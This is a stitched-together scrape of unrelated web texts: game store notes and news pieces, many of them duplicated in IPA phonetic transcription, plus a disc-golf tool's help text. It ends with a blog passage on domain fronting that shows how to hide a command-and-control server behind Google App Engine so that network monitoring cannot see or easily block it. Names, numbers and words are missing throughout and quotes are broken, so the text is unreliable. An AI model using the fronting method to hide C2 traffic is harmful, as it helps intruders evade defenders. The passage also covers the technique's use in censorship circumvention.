update: this sale has ended. | nu pæʧ taɪm ɪz əˈproʊʧɪŋ, summoners*! ənd wɪθ ɪt kəmz ə nu bæʧ əv ˈkɑntɛnt. hɪrz ðə dil:, ˈæni, ənd ðət ˈɛvər ˈdiviəs ˈwɔrwɪk ər ˈgɪtɪŋ ˈkɑstum ˈʧeɪnʤɪz. ɪz goʊɪŋ frəm ˈbætəl ˈmɪstrəs tɪ ˈwɔrjər ˈprɪnsɛs. mɪs ˈæni wɪl bi ˈskɪpɪŋ θru ðə fildz əv ˈʤəstɪs ɪn hər ˈlɪtəl rɛd hʊd. ənd ɪf ju lʊk kloʊz, ju maɪt kæʧ ə glɪmps əv ðət slaɪ ˈwɔrwɪk ˈkæməˌflɑʒd ɪn ˈgrændˌmɑz nightgown*. ˈwɔrjər ˈprɪnsɛs, rɛd ˈraɪdɪŋ ˈæni, ənd bɪg bæd ˈwɔrwɪk wɪl ɔl bi jʊrz fər ðə ˈteɪkɪŋ ɪn ðə nu pæʧ. ɪn əˈdɪʃən tɪ ðiz nu skɪnz, ðə maɪt əv ɪz ˈʤɔɪnɪŋ ðə freɪ. ðæts raɪt: ɪz ɔn hɪz weɪ. ˈbəndəlz nɑt wən tɪ bi lɛft aʊt əv ðə ˈkɑstum ˈpɑrti, həz ə fju ˈwɔrˌdroʊb ˈʧeɪnʤɪz lɑkt əˈweɪ ɪn hɪz ˈɑrməri. ɪf jʊr daʊn fər ə ˈdɑrkər, ˈkrɪmzən lʊk, ju kən pɪk əp ðə ˈsæŋgwɪn ˈbəndəl ənd seɪv 50 ɔn ðə skɪn. bət ɪf jʊr ˈrɪli ˈlʊkɪŋ tɪ jʊr ˈɛnəmiz wɪθ ˈʤəstɪs ɪn staɪl, ju kən græb boʊθ ðə ˈsæŋgwɪn ənd ˈdɛzərt ˈtrupər skɪnz fər ə ˈgreɪtli rɪˈdust praɪs. ˈsæŋgwɪn ˈbəndəl seɪv 50 ɔn ðə ˈsæŋgwɪn skɪn wɪn ju ˈpərʧəs ðə ˈʧæmpiən ənd skɪn təˈgɛðər. ˈʧæmpiən ˈsæŋgwɪn skɪn (ˈnɔrməli 1105 rp*) wɪl bi ˈoʊnli 845 rp*! ˈdəbəl ˈbəndəl seɪv 40 ɔn boʊθ ðə ˈdɛzərt ˈtrupər skɪn ənd ðə ˈsæŋgwɪn skɪn wɪn ju ˈpərʧəs ðə ˈʧæmpiən ənd skɪnz təˈgɛðər. ˈʧæmpiən ˈdɛzərt ˈtrupər skɪn ˈsæŋgwɪn skɪn (ˈnɔrməli 1625 rp*) wɪl bi ˈoʊnli 1209 rp*! ðiz ˈbəndəlz wɪl bi əˈveɪləbəl ˈoʊnli ənˈtɪl ðə ɛnd əv ðə ˈwiˌkɪnd ˈfɑloʊɪŋ ðə pæʧ, soʊ doʊnt mɪs aʊt! klɪk ɔn ðə ˈbəndəlz tæb ɪn ðə stɔr tɪ ˈpərʧəs ðiz ˈbəndəlz ˌbiˈfɔr ɪts tu leɪt! ˈəpˌdeɪt: ðɪs seɪl həz ˈɛndɪd. |
play all four company of heroes armies (british, panzer elite, american, wehrmacht)
a new game mode: reinforcements. which sees players coming in at different stages of the battlefield.
the ability to choose attack
34 maps specifically designed for europe in ruins as well as the ability to play all of your old company of heroes favourites!
a brand new launcher
complete persistency, all units retain vet, and continue to use it in their next battles.
a complete installer that contains the europe in ruins files, launcher, and maps
basic unit unlock doctrines
a new soft capping availability system
new advantages system
europe in ruins takes the fast paced, intense and surreal combat that you've come to know from company of heroes and combines it with persistent environment, ever changing and ongoing war. the modification sees you creating and commanding your very own battalion in which you can with any units and upgrades you wish; company of heroes strategy has never had so much choice. not only do you get to build up your battalion, but as you units battle, they will gain and retain all the experience they have earned, carrying over from battle to battle; going from green to elite! not only do units gain veterancy, but your battalion as a whole increases in effectiveness through doctrine and other advantages. each of these are designed so that the player can tailor their battalion to their own likes and play styles. the combinations choices are in ruins: reinforcements adds to the already ground breaking game play of europe in ruins by adding in the british commonwealth, the panzer elite, new game mode, a bunch of new maps, the new advantages system and a whole new launcher with new innovative systems for army purchase and persistence. what is in this latest release: | pleɪ ɔl fɔr ˈkəmpəˌni əv ˈhɪroʊz ˈɑrmiz (ˈbrɪtɪʃ, ˈpænzər ɪˈlit, əˈmɛrɪkən, wehrmacht*) ə nu geɪm moʊd: ˌriɪnˈfɔrsmənts. wɪʧ siz pleɪərz ˈkəmɪŋ ɪn æt ˈdɪfərənt ˈsteɪʤɪz əv ðə ˈbætəlˌfild. ðə əˈbɪləˌti tɪ ʧuz əˈtæk 34 mæps spəˈsɪfɪkli dɪˈzaɪnd fər ˈjʊrəp ɪn ruɪnz ɛz wɛl ɛz ðə əˈbɪləˌti tɪ pleɪ ɔl əv jʊr oʊld ˈkəmpəˌni əv ˈhɪroʊz favourites*! ə brænd nu ˈlɔnʧər kəmˈplit persistency*, ɔl ˈjunɪts rɪˈteɪn vɛt, ənd kənˈtɪnju tɪ juz ɪt ɪn ðɛr nɛkst ˈbætəlz. ə kəmˈplit ˌɪnˈstɔlər ðət kənˈteɪnz ðə ˈjʊrəp ɪn ruɪnz faɪlz, ˈlɔnʧər, ənd mæps ˈbeɪsɪk ˈjunɪt ənˈlɑk ˈdɑktrənz ə nu sɔft ˈkæpɪŋ əˌveɪləˈbɪlɪti ˈsɪstəm nu ædˈvæntɪʤɪz ˈsɪstəm ˈjʊrəp ɪn ruɪnz teɪks ðə fæst peɪst, ˌɪnˈtɛns ənd sərˈil ˈkɑmbæt ðət juv kəm tɪ noʊ frəm ˈkəmpəˌni əv ˈhɪroʊz ənd kəmˈbaɪnz ɪt wɪθ pərˈsɪstənt ɪnˈvaɪrənmənt, ˈɛvər ˈʧeɪnʤɪŋ ənd ˈɔnˌgoʊɪŋ wɔr. ðə ˌmɑdəfəˈkeɪʃən siz ju kriˈeɪtɪŋ ənd kəˈmændɪŋ jʊr ˈvɛri oʊn bəˈtæljən ɪn wɪʧ ju kən wɪθ ˈɛni ˈjunɪts ənd ˈəpˌgreɪdz ju wɪʃ; ˈkəmpəˌni əv ˈhɪroʊz ˈstrætəʤi həz ˈnɛvər hæd soʊ məʧ ʧɔɪs. nɑt ˈoʊnli du ju gɪt tɪ bɪld əp jʊr bəˈtæljən, bət ɛz ju ˈjunɪts ˈbætəl, ðeɪ wɪl geɪn ənd rɪˈteɪn ɔl ðə ɪkˈspɪriəns ðeɪ hæv ərnd, ˈkɛriɪŋ ˈoʊvər frəm ˈbætəl tɪ ˈbætəl; goʊɪŋ frəm grin tɪ ɪˈlit! nɑt ˈoʊnli du ˈjunɪts geɪn veterancy*, bət jʊr bəˈtæljən ɛz ə hoʊl ˌɪnˈkrisɪz ɪn ˈifɛktɪvnəs θru ˈdɔktərɪn ənd ˈəðər ædˈvæntɪʤɪz. iʧ əv ðiz ər dɪˈzaɪnd soʊ ðət ðə pleɪər kən ˈteɪlər ðɛr bəˈtæljən tɪ ðɛr oʊn laɪks ənd pleɪ staɪlz. ðə ˌkɑmbəˈneɪʃənz ˈʧɔɪsɪz ər ɪn ruɪnz: ˌriɪnˈfɔrsmənts ædz tɪ ðə ɔˈrɛdi graʊnd ˈbreɪkɪŋ geɪm pleɪ əv ˈjʊrəp ɪn ruɪnz baɪ ˈædɪŋ ɪn ðə ˈbrɪtɪʃ ˈkɑmənˌwɛlθ, ðə ˈpænzər ɪˈlit, nu geɪm moʊd, ə bənʧ əv nu mæps, ðə nu ædˈvæntɪʤɪz ˈsɪstəm ənd ə hoʊl nu ˈlɔnʧər wɪθ nu ˈɪnəˌveɪtɪv ˈsɪstəmz fər ˈɑrmi ˈpərʧəs ənd pərˈsɪstəns. wət ɪz ɪn ðɪs ˈleɪtəst riˈlis: |
sports illustrated is releasing its annual list of the top 100 players in the nba and three bucks appear on the list. greg monroe (63), (48) and middleton (39) all made the cut for the top 100 this season, with two of them improving upon their ranking compared to last season.
antetokounmpo made a huge jump from no. 100 last season to no. 48 in this rankings. this come as too much of a surprise as the greek freak set career highs in nearly every offensive category during the season while breaking through for five triple-doubles. ben, who helped ranked the players for si, said this about:
“the individual results, as irrelevant to the standings as they might have been, were stunning: the averaged after the break, monster numbers that bring to mind elite producers like lebron james and russell westbrook. viewed as a raw prospect when he was taken in the 2013 lottery, showed improvement as a initiator and converted transition opportunities into points like a seasoned pro.”
middleton also rose in the rankings this year, moving up six spots from no. 45 to no. 39. middleton averaged a career-high, and, points per game last season in addition to career highs in assists (4.7), steals (1.7) and minutes per game (36.1). what rob mahoney of sports illustrated had to say about middleton:
“the relatively anonymous middleton scored in isolation at a volume and efficiency similar to irving, kyle lowry, and isaiah thomas last season, according to synergy sports. he did so while doubling as just the kind of unassuming floor spacer milwaukee needed to flank and balance its most effective lineups. middleton ranks this high on our list because he makes that balance look easy. rare are the wings who can take over when called, step back when needed, and defend effectively throughout. middleton qualifies, and the proportional dimensions of his game render the as one of the most universal players on our list.”
monroe was the final buck to appear on the list, coming in at no. 63. in his first season with the bucks, monroe continued to be a machine, hauling in a 32s while averaging points and rebounds per game for the season. the on monroe notes that behind only jordan and andre drummond in offensive rebounds since 2011 and points to dependency as appeared in 96 percent of his games during his career.
one player not on the list is parker, who sports illustrated filed under the “biggest snubs” from the top 100 list. parker finished the season on a tear, posting averages of points, rebounds and assists per game after the all-star break. the certainly has plenty of promise going forward and could very well find himself on the top 100 list with a solid third nba season. despite being a snub this year, said this about parker:
“given his spot on the age curve, his physical tools, and his central role on a young bucks team, parker looks like an obvious breakout candidate.” | spɔrts ˈɪləˌstreɪtɪd ɪz riˈlisɪŋ ɪts ˈænjuəl lɪst əv ðə tɔp 100 pleɪərz ɪn ðə ˈɛnˌbiˈeɪ ənd θri bəks əˈpɪr ɔn ðə lɪst. grɛg mənˈroʊ 63 48 ənd ˈmɪdəltən 39 ɔl meɪd ðə kət fər ðə tɔp 100 ðɪs ˈsizən, wɪθ tu əv ðɛm ˌɪmˈpruvɪŋ əˈpɑn ðɛr ˈræŋkɪŋ kəmˈpɛrd tɪ læst ˈsizən. meɪd ə juʤ ʤəmp frəm noʊ. 100 læst ˈsizən tɪ noʊ. 48 ɪn ðɪs ˈræŋkɪŋz. ðɪs kəm ɛz tu məʧ əv ə səˈpraɪz ɛz ðə grik frik sɛt kərɪr haɪz ɪn ˈnɪrli ˈɛvəri əˈfɛnsɪv ˈkætəˌgɔri ˈdʊrɪŋ ðə ˈsizən waɪl ˈbreɪkɪŋ θru fər faɪv triple-doubles*. bɛn, hu hɛlpt ræŋkt ðə pleɪərz fər si, sɛd ðɪs əˈbaʊt: ˌɪndəˈvɪʤəwəl rɪˈzəlts, ɛz ˌɪˈrɛləvənt tɪ ðə ˈstændɪŋz ɛz ðeɪ maɪt hæv bɪn, wər ˈstənɪŋ: ðə ˈævrɪʤd ˈæftər ðə breɪk, ˈmɑnstər ˈnəmbərz ðət brɪŋ tɪ maɪnd ɪˈlit prəˈdusərz laɪk ˈlɛbrən ʤeɪmz ənd ˈrəsəl ˈwɛstˌbrʊk. vjud ɛz ə rɑ ˈprɑspɛkt wɪn hi wɑz ˈteɪkən ɪn ðə 2013 ˈlɑtəri, ʃoʊd ˌɪmˈpruvmənt ɛz ə ˌɪnɪˈʃieɪtər ənd kənˈvərtɪd trænˈzɪʃən ˌɑpərˈtunətiz ˈɪntu pɔɪnts laɪk ə ˈsizənd pro.”*.” ˈmɪdəltən ˈɔlsoʊ roʊz ɪn ðə ˈræŋkɪŋz ðɪs jɪr, ˈmuvɪŋ əp sɪks spɑts frəm noʊ. 45 tɪ noʊ. 39 ˈmɪdəltən ˈævrɪʤd ə career-high*, ənd, pɔɪnts pər geɪm læst ˈsizən ɪn əˈdɪʃən tɪ kərɪr haɪz ɪn əˈsɪsts stilz ənd ˈmɪnəts pər geɪm wət rɑb məˈhoʊni əv spɔrts ˈɪləˌstreɪtɪd hæd tɪ seɪ əˈbaʊt ˈmɪdəltən: ˈrɛlətɪvli əˈnɑnəməs ˈmɪdəltən skɔrd ɪn ˌaɪsəˈleɪʃən æt ə ˈvɑljum ənd ɪˈfɪʃənsi ˈsɪmələr tɪ ˈərvɪŋ, kaɪl ˈlaʊri, ənd ˌaɪˈzeɪə ˈtɑməs læst ˈsizən, əˈkɔrdɪŋ tɪ ˈsɪnərʤi spɔrts. hi dɪd soʊ waɪl ˈdəbəlɪŋ ɛz ʤɪst ðə kaɪnd əv ˌənəˈsumɪŋ flɔr ˈspeɪsər mɪlˈwɔki ˈnidɪd tɪ flæŋk ənd ˈbæləns ɪts moʊst ˈifɛktɪv ˈlaɪˌnəps. ˈmɪdəltən ræŋks ðɪs haɪ ɔn ɑr lɪst bɪˈkəz hi meɪks ðət ˈbæləns lʊk ˈizi. rɛr ər ðə wɪŋz hu kən teɪk ˈoʊvər wɪn kɔld, stɛp bæk wɪn ˈnidɪd, ənd dɪˈfɛnd ˈifɛktɪvli θruaʊt. ˈmɪdəltən kˈwɑləˌfaɪz, ənd ðə prəˈpɔrʃənəl dɪˈmɛnʃənz əv hɪz geɪm ˈrɛndər ðə ɛz wən əv ðə moʊst ˌjunəˈvərsəl pleɪərz ɔn ɑr list.”*.” mənˈroʊ wɑz ðə ˈfaɪnəl bək tɪ əˈpɪr ɔn ðə lɪst, ˈkəmɪŋ ɪn æt noʊ. 63 ɪn hɪz fərst ˈsizən wɪθ ðə bəks, mənˈroʊ kənˈtɪnjud tɪ bi ə məˈʃin, ˈhɔlɪŋ ɪn ə 32 waɪl ˈævrɪʤɪŋ pɔɪnts ənd ˈriˌbaʊndz pər geɪm fər ðə ˈsizən. ðə ɔn mənˈroʊ noʊts ðət bɪˈhaɪnd ˈoʊnli ˈʤɔrdən ənd ˈɑnˌdreɪ ˈdrəmənd ɪn əˈfɛnsɪv ˈriˌbaʊndz sɪns 2011 ənd pɔɪnts tɪ dɪˈpɛndənsi ɛz əˈpɪrd ɪn 96 pərˈsɛnt əv hɪz geɪmz ˈdʊrɪŋ hɪz kərɪr. wən pleɪər nɑt ɔn ðə lɪst ɪz ˈpɑrkər, hu spɔrts ˈɪləˌstreɪtɪd faɪld ˈəndər ðə snubs”*” frəm ðə tɔp 100 lɪst. ˈpɑrkər ˈfɪnɪʃt ðə ˈsizən ɔn ə tɪr, ˈpoʊstɪŋ ˈævrɪʤɪz əv pɔɪnts, ˈriˌbaʊndz ənd əˈsɪsts pər geɪm ˈæftər ðə ˌɔlˈstɑr breɪk. ðə ˈsərtənli həz ˈplɛnti əv ˈprɑməs goʊɪŋ ˈfɔrwərd ənd kʊd ˈvɛri wɛl faɪnd hɪmˈsɛlf ɔn ðə tɔp 100 lɪst wɪθ ə ˈsɑləd θərd ˈɛnˌbiˈeɪ ˈsizən. dɪˈspaɪt biɪŋ ə snəb ðɪs jɪr, sɛd ðɪs əˈbaʊt ˈpɑrkər: hɪz spɑt ɔn ðə eɪʤ kərv, hɪz ˈfɪzɪkəl tulz, ənd hɪz ˈsɛntrəl roʊl ɔn ə jəŋ bəks tim, ˈpɑrkər lʊks laɪk ən ˈɑbviəs ˈbreɪˌkaʊt candidate.”*.” |
image caption state politicians were among those leading the march in rio de janeiro
some people have protested in the brazilian city of rio de janeiro against a bill they say will deprive rio state of much of its oil revenue.
they are asking president to veto the bill, which has been approved by brazil's congress.
the bill proposes sharing oil revenues more evenly between states like rio and other states.
local politicians are fiercely opposed to the move, saying it could cost the state $1.7bn (£1.06bn) next year.
they say that the changes would affect rio's ability to host the 2014 football world cup and the 2016 olympics.
the bill would lower the level of royalties collected by states from 26% to 20%.
'our heritage'
the bbc's julia carneiro reports from rio that state authorities released employees from work and invited musicians and celebrities in order to entice people to attend the demonstration.
the protest ended up looking more like a big street party, with people dancing and drinking, she says.
police said about people took part.
"we cannot redistribute the royalties with other states," isabel johnson, a nurse, told the news agency.
"it is our heritage and our chance to climb on the international stage," she said.
brazil is expected to be able to produce tens of billions of barrels of crude oil over the coming decades from discoveries of offshore deposits of oil made in recent years.
ms has until friday to approve or reject the bill.
state governor sergio cabral and rio's mayor eduardo were among those on the march.
in recent days, state officials have put up banners around the city addressed to ms, bearing the words "veto,".
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at 26, ali bryant is still scared of the dark. her brother, austin bryant, knew that.
the night before he was killed, he was in her room being the little brother older sisters tend to have: annoying. grab at her feet as she slept to frighten her or put his feet in her face just to mess with her.
ali smiled at the thought.
today, her ashes rest in a red, metallic urn on the dresser across from the foot of her bed as she sleeps.
"sometimes i feel a breeze of wind blow past me or someone messing with my foot and i know my brother. and be like, ‘ok, austin. i get it,’" she said, laughing. just things like that that let me know there)."
sunday marked the one-year since austin bryant was shot and killed by the intersection of military trail and purdy lane near flashdance, according to the palm beach county office. investigators say a fight broke out during the early hours of april 16, someone pulled a gun and shot austin outside the strip club. he was found dead at the scene.
no arrest has been made. crime stoppers of palm beach county is offering a $1,000 reward for information in the case. those with information are asked to call (8477).
for ali, a year later means less pain, more anger. why did they shoot her brother? why do they get to go home to their family and sleep at night? when does austin get justice?
"no one deserves to die like that. no one," she said. "someone knows who did this. they need to come forward."
for mother, kristina bryant, still a lot of pain.
she misses her calls during they day and still waits for his frame to fill the doorway of his home just north of lake park where she and her daughter live. she can smile at those thoughts now. but in those first few months after her son was killed, she stop crying. she lost her job as a nurse and go outside most days.
"the loss of a child come with a handbook. you just try to do what you think is right," she said. "i brought two kids into this world, and now when i wake up, one. it just seem natural. it seem right."
in the past few months, she started going through boxes of his things and found a shirt that smelled just like austin. she believe it. there he was with her again.
"well, he had a smell," her daughter chimes in and they both laugh.
in the past year, kristina said thankful for her friends who always check in, her daughter to lean on and for the palm beach county office detective working the case. she said the detective keeps in contact with her constantly, even if new evidence or news comes few and far between. but she still has hope.
"i’ll never forget. she sat in that chair," she said pointing to the leather recliner her daughter sat in by the door, "and said, ‘i promise, no matter what i will not quit working on this case until solved.’ we just keep hoping and praying that some kind of miracle will happen." | æt 26 ˈɑli braɪənt ɪz stɪl skɛrd əv ðə dɑrk. hər ˈbrəðər, ˈɔstən braɪənt, nu ðət. ðə naɪt ˌbiˈfɔr hi wɑz kɪld, hi wɑz ɪn hər rum biɪŋ ðə ˈlɪtəl ˈbrəðər ˈoʊldər ˈsɪstərz tɛnd tɪ hæv: əˈnɔɪɪŋ. græb æt hər fit ɛz ʃi slɛpt tɪ ˈfraɪtən hər ər pʊt hɪz fit ɪn hər feɪs ʤɪst tɪ mɛs wɪθ hər. ˈɑli smaɪld æt ðə θɔt. təˈdeɪ, hər ˈæʃɪz rɛst ɪn ə rɛd, məˈtælɪk ərn ɔn ðə ˈdrɛsər əˈkrɔs frəm ðə fʊt əv hər bɛd ɛz ʃi slips. "ˈsəmˌtaɪmz aɪ fil ə briz əv wɪnd bloʊ pæst mi ər ˈsəmˌwən ˈmɛsɪŋ wɪθ maɪ fʊt ənd aɪ noʊ maɪ ˈbrəðər. ənd bi laɪk, ‘‘ok*, ˈɔstən. aɪ gɪt it,’*,’" ʃi sɛd, ˈlæfɪŋ. ʤɪst θɪŋz laɪk ðət ðət lɛt mi noʊ ðɛr)." ˈsənˌdi mɑrkt ðə ˈwənˌjɪr sɪns ˈɔstən braɪənt wɑz ʃɑt ənd kɪld baɪ ðə ˌɪntərˈsɛkʃən əv ˈmɪlɪˌtɛri treɪl ənd ˈpərdi leɪn nɪr ˈflæʃˌdæns, əˈkɔrdɪŋ tɪ ðə pɑm biʧ ˈkaʊnti ˈɔfəs. ˌɪnˈvɛstəˌgeɪtərz seɪ ə faɪt broʊk aʊt ˈdʊrɪŋ ðə ˈərli aʊərz əv ˈeɪprəl 16 ˈsəmˌwən pʊld ə gən ənd ʃɑt ˈɔstən ˈaʊtˈsaɪd ðə strɪp kləb. hi wɑz faʊnd dɛd æt ðə sin. noʊ ərˈɛst həz bɪn meɪd. kraɪm ˈstɑpərz əv pɑm biʧ ˈkaʊnti ɪz ˈɔfərɪŋ ə rɪˈwɔrd fər ˌɪnˌfɔrˈmeɪʃən ɪn ðə keɪs. ðoʊz wɪθ ˌɪnˌfɔrˈmeɪʃən ər æst tɪ kɔl 8477 fər ˈɑli, ə jɪr ˈleɪtər minz lɛs peɪn, mɔr ˈæŋgər. waɪ dɪd ðeɪ ʃut hər ˈbrəðər? waɪ du ðeɪ gɪt tɪ goʊ hoʊm tɪ ðɛr ˈfæməli ənd slip æt naɪt? wɪn dɪz ˈɔstən gɪt ˈʤəstɪs? "noʊ wən dɪˈzərvz tɪ daɪ laɪk ðət. noʊ wən," ʃi sɛd. "ˈsəmˌwən noʊz hu dɪd ðɪs. ðeɪ nid tɪ kəm ˈfɔrwərd." fər ˈməðər, krɪˈstinə braɪənt, stɪl ə lɔt əv peɪn. ʃi ˈmɪsɪz hər kɔlz ˈdʊrɪŋ ðeɪ deɪ ənd stɪl weɪts fər hɪz freɪm tɪ fɪl ðə ˈdɔrˌweɪ əv hɪz hoʊm ʤɪst nɔrθ əv leɪk pɑrk wɛr ʃi ənd hər ˈdɔtər lɪv. ʃi kən smaɪl æt ðoʊz θɔts naʊ. bət ɪn ðoʊz fərst fju mənθs ˈæftər hər sən wɑz kɪld, ʃi stɑp kraɪɪŋ. ʃi lɔst hər ʤɑb ɛz ə nərs ənd goʊ ˈaʊtˈsaɪd moʊst deɪz. "ðə lɔs əv ə ʧaɪld kəm wɪθ ə ˈhændˌbʊk. ju ʤɪst traɪ tɪ du wət ju θɪŋk ɪz raɪt," ʃi sɛd. "aɪ brɔt tu kɪdz ˈɪntu ðɪs wərld, ənd naʊ wɪn aɪ weɪk əp, wən. ɪt ʤɪst sim ˈnæʧərəl. ɪt sim raɪt." ɪn ðə pæst fju mənθs, ʃi ˈstɑrtɪd goʊɪŋ θru ˈbɑksɪz əv hɪz θɪŋz ənd faʊnd ə ʃərt ðət smɛld ʤɪst laɪk ˈɔstən. ʃi bɪˈliv ɪt. ðɛr hi wɑz wɪθ hər əˈgɛn. "wɛl, hi hæd ə smɛl," hər ˈdɔtər ʧaɪmz ɪn ənd ðeɪ boʊθ læf. ɪn ðə pæst jɪr, krɪˈstinə sɛd ˈθæŋkfəl fər hər frɛndz hu ˈɔlˌweɪz ʧɛk ɪn, hər ˈdɔtər tɪ lin ɔn ənd fər ðə pɑm biʧ ˈkaʊnti ˈɔfəs dɪˈtɛktɪv ˈwərkɪŋ ðə keɪs. ʃi sɛd ðə dɪˈtɛktɪv kips ɪn ˈkɑnˌtækt wɪθ hər ˈkɑnstəntli, ˈivɪn ɪf nu ˈɛvədəns ər nuz kəmz fju ənd fɑr bɪtˈwin. bət ʃi stɪl həz hoʊp. ˈnɛvər fərˈgɛt. ʃi sæt ɪn ðət ʧɛr," ʃi sɛd ˈpɔɪntɪŋ tɪ ðə ˈlɛðər rɪˈklaɪnər hər ˈdɔtər sæt ɪn baɪ ðə dɔr, "ənd sɛd, ˈprɑməs, noʊ ˈmætər wət aɪ wɪl nɑt kwɪt ˈwərkɪŋ ɔn ðɪs keɪs ənˈtɪl solved.’*.’ wi ʤɪst kip ˈhoʊpɪŋ ənd preɪɪŋ ðət səm kaɪnd əv ˈmɪrəkəl wɪl ˈhæpən." |
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? you can use these filters to attempt to find similar discs this can be useful when switching between brands or looking for a replacement of a hard to find to disc you can also look for complements to a disc if you want to find a more or counterpart to a particular disc, increase the tolerance to widen the search or decrease it to narrow down the search.
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more stable
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add to bag
? here we can add discs that aren't in the database easiest is if you copy and modify an already existing disc.
distance is measured in feet and is roughly between feet and is the distance the disc will achieve when thrown at its intended speed.
hss aka high speed stability(turn) is measured between -100 to 100 and is usually negative
lss aka low speed stability(fade) is measured between -100 to 100 and is usually positive
type is the classification for the disc.
name ? name of the disc you want to add. distance ? distance of the disc you want to add when thrown at its intended speed. ? high speed stability(turn) is a value between -100 to 100. ? low speed stability(fade) is a value between -100 to 100. type ? the classification of the disc you want to add. putter midrange fairway driver distance driver copy add
tolerance for similarity) | æd tɪ bæg ju kən juz ðiz ˈfɪltərz tɪ əˈtɛmpt tɪ faɪnd ˈsɪmələr dɪsks ðɪs kən bi ˈjusfəl wɪn sˈwɪʧɪŋ bɪtˈwin brændz ər ˈlʊkɪŋ fər ə rɪˈpleɪsmənt əv ə hɑrd tɪ faɪnd tɪ dɪsk ju kən ˈɔlsoʊ lʊk fər ˈkɑmpləmənts tɪ ə dɪsk ɪf ju wɔnt tɪ faɪnd ə mɔr ər ˈkaʊntərˌpɑrt tɪ ə ˌpɑˈtɪkjələr dɪsk, ˌɪnˈkris ðə ˈtɑlərəns tɪ ˈwaɪdən ðə sərʧ ər ˈdiˌkris ɪt tɪ ˈnɛroʊ daʊn ðə sərʧ. ˈkərəntli nɑt ˈfɪltərd lɛs ˈsteɪbəl ˈsɪmələr mɔr ˈsteɪbəl ˈfæstər sloʊər ˈrisɛt ˈfɪltər dɪˈlit æd tɪ bæg hir wi kən æd dɪsks ðət ˈɑrənt ɪn ðə ˈdætəˌbeɪs ˈiziəst ɪz ɪf ju ˈkɑpi ənd ˈmɑdəˌfaɪ ən ɔˈrɛdi ɪgˈzɪstɪŋ dɪsk. ˈdɪstəns ɪz ˈmɛʒərd ɪn fit ənd ɪz ˈrəfli bɪtˈwin fit ənd ɪz ðə ˈdɪstəns ðə dɪsk wɪl əˈʧiv wɪn θroʊn æt ɪts ˌɪnˈtɛndɪd spid. ˈɑkə haɪ spid stability(turn*) ɪz ˈmɛʒərd bɪtˈwin 100 tɪ 100 ənd ɪz ˈjuʒəwəli ˈnɛgətɪv ˈɑkə loʊ spid stability(fade*) ɪz ˈmɛʒərd bɪtˈwin 100 tɪ 100 ənd ɪz ˈjuʒəwəli ˈpɑzətɪv taɪp ɪz ðə ˌklæsəfəˈkeɪʃən fər ðə dɪsk. neɪm neɪm əv ðə dɪsk ju wɔnt tɪ æd. ˈdɪstəns ˈdɪstəns əv ðə dɪsk ju wɔnt tɪ æd wɪn θroʊn æt ɪts ˌɪnˈtɛndɪd spid. haɪ spid stability(turn*) ɪz ə ˈvælju bɪtˈwin 100 tɪ 100 loʊ spid stability(fade*) ɪz ə ˈvælju bɪtˈwin 100 tɪ 100 taɪp ðə ˌklæsəfəˈkeɪʃən əv ðə dɪsk ju wɔnt tɪ æd. ˈpətər ˈmɪˌdreɪnʤ ˈfɛrˌweɪ ˈdraɪvər ˈdɪstəns ˈdraɪvər ˈkɑpi æd ˈtɑlərəns fər ˌsɪməˈlɛrəti) |
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in post we are to talk about a somewhat old technique (although programs like signal have recentlyarted using it) that i have always found to be a really clever hack:
domain fronting.
for example, take the ip address of the frontal that serves:
$ host has address
if we take a look at the common name (cn) field of theificate returned by the server:
$ echo | -connect:443 | -subject c = us, o = equifax, ou = equifax secureificate authority verify c = us, o = inc., = global ca verify c = us, o = google inc, = google internet authority verify c = us, = california, l = mountain view, o = google inc, = verify done subject= -----beginificate----- [...]
we see that not. thisificate is authenticating a name that is not present in its.
the (with which we can get more info about the) has the answer:
$ echo | -connect:443 | -text [...]v3 extensions:v3 extended key usage: web server authentication, web client authenticationv3 subject alternative name::google.com,:*.2mdn.net,:*.android.com,:*.appengine.google.com,:*.au.doubleclick.net,:*.cc-dt.com,:*.cloud.google.com,:*.de.doubleclick.net, [...]
the server is using the subject alternative name (san) extension, that makes it possible to serve more than one website from the same ip address using just oneificate.
we can also use client side) another more recent protocol extension called server name indication (sni) to request any of the virtual hosts available from the same ip address.
we can invoke the with the to request any of the other available; for example,:
$ echo | \ -connect:443 | -subject c = us, o = equifax, ou = equifax secureificate authority verify c = us, o = inc., = global ca verify c = us, o = google inc, = google internet authority verify c = us, = california, l = mountain view, o = google inc, = verify done subject= -----beginificate----- [...]
if we look at a capture of the previous interaction with wireshark, we can clearly see the field of the extension; the client has told the server (in the message of the handshake) that it wants the virtual host of the service:
in fact, in the case of google (and this also happens with many other networks and frontal servers, hence the name of the technique: domain fronting), not even necessary to use the extension; enough to point against the same ip address, but specifying the desired virtual host using the host header:
$ -q -s --header 'host:'/1.1 301 moved permanently location: /mail/ content-type: text/html; [...]
thus, as a result of the command above, someone who is monitoring the network just gets to see a request to: the traffic of the interactions withays inside, camouflaged in the layer unless we break that layer with dynamic generation from aification authority present in all workstations (even in this case, the is going to have trouble with things likeificate pinning).
so, the advantage? yes, we all know that google uses the same for everything, so what? what we get by hiding traffic inside generic google searches? well, if we base our command & control or server on, we have a direct advantage, but the thing goes beyond: google app engine (gae) apps, hosted (among others) on domains, are also served from the same.
so in this particular case, not only that we could deploy our server on web services (or google drive, or google docs…): that we can hack it directly as a gae app in myc2server.appspot.com, and network monitoring will not even see the requests against that domain (the only registered traffic will be requests for and apparently legitimate, generic, boring google search traffic).
and what is better: to dismantle ouruff, or google detects somehow that we have an server hosted on myc2server.appspot.com, or the network monitoringaff has to “break” (or block all traffic in general, or access to all google frontal servers in particular). this is not going to be good news for the company: no google web search available? what!? :-) and this is the reason that this technique is so powerful: if you block the, you block a lot of other useful services, and this has high collateral damage. because of this that the technique is widely used for content filter and bypass, and used in internet censorship circumvention tools such as lantern, psiphon, now signal, and tor transports such as meek.
without having to search too much :-) we can find numerous gadgets that people have deployed on the internets…
for example, here we have a twitter reflector:
$ -qo-://3benben.appspot.com <html> <head> twitter proxy</title> <link href='https://appengine.google.com/favicon.ico' icon' type='image/x-icon' /> { padding: 40px; font-family: verdana, helvetica, sans-serif; font-size: medium; }</style> </head> is running!</h2></p> src='/static/sign-in-with-twitter.png' border='0'></a> <== need fuck first!! or <a your key here</a></p> is a simple solution on google app engine which can proxy the request to official rest url.</p> forget the "/" at the end of your proxy address!!!.</b></font></p> </body></html>
with it we can visit the twitter account :-) without even touching directly twitter servers (obviously, the reflector gets all your requests, so be careful):
